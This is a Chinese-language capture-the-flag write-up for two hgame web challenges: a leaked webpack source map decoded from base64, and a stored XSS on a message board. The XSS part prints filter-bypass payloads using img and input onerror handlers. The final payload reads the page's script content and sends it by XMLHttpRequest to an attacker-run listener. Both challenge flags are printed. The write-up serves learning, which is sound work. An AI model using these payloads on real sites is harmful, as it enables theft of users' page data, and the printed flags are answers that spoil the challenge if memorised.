2022年2月

webpack-engine

  1. 这题当时没仔细做,发现挺简单的,和前面的JS题目一样分析源码就行。
  2. 在源码中可以发现有注解
  3. 解码后发现是json字符串

    这里可以发现有base64加密
  4. 两次base64解码就可以得到flag

    flag: hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

At0m的留言板

  1. 这题真的给我做麻了,熬了个大通宵,临门一脚还是没弄出来,在大师傅的指导下整了出来。
  2. 主要有着这些知识点:
    1. XSS执行,这里有script的过滤可以用大小写绕过。
    2. <img src="" onerror="alert(1)"> 通过img标签来执行异常处理。
    3. 在执行语句的前提下,发送HTTP请求。
    4. python SimpleHTTPServer模块来做日志记录。
  3. 可以根据题目给的提示获取到模版文件

  4. 这里就犯了个失误,导致卡了很久,以为script中的auth0r和flag就是默认的变量名,导致后续做请求时,如果出现未命名变量时会报错,导致无法发送请求。
  5. 然后访问公众号,进行留言,可以看到,输入的内容会出现在content中。

  6. 尝试XSS,发现script被拦了。
  7. 然后修改script大小写,发现可以绕过,但被识别为了文本内容。
  8. 在本地测试发现可以通过img/input标签的onerror报错输入执行js语句。
    <img src="" onerror="document.getElementsByClassName('content')[0].innerText =flag">

    <input value="" type=image src onerror="document.getElementsByClassName('content')[0].innerText =flag" type="text">

  9. 当这个时候找不到变量名称,所以就会报错,显示为空。

  10. 虽然无法通过这种方法获取flag,但在onerror能够执行js语句时,还有很多能做的,这里就开始下一阶段:通过发送http请求,查看http请求中的日志,获取flag。

  11. 先在公网服务器中起一个监听服务

  12. 在微信公众号中输入payload,监听服务器中的请求。

  13. payload:<img src="" onerror="var flag = window.flag; const Http = new XMLHttpRequest();const url='http://[IP]:10020/'+flag;Http.open('GET', url);Http.send();Http.onreadystatechange = (e) => {console.log(Http.responseText)}">

  14. 可以发现该变量确实不存在

  15. 当时就想着如何获取变量名,从而得到flag,但一直没找到这类函数,属于是知识面窄了。

  16. 然后通过和大师傅的交流,大师傅提供了一个思路,通过getElementsByTagName这个函数获取到script的内容,这样就可以获取到flag了。


    1. 原理是这样的,虽然我们无法获取到flag的名字,但该页面却依旧会按照模版文件那样,有script的内容。
    2. 通过过滤script的内容,从而获取到flag。
  17. 最终形成的payload就是:<img src="" onerror="var flags =document.getElementsByTagName('sCriPt')[0].innerText; var Http = new XMLHttpRequest();const url='http://[IP]:10020/'+flags;Http.open('get', url);Http.send('flag='+flags);Http.onreadystatechange = (e) => {console.log(Http.responseText)}">

  18. 进行URL解码就行了

  19. flag:hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}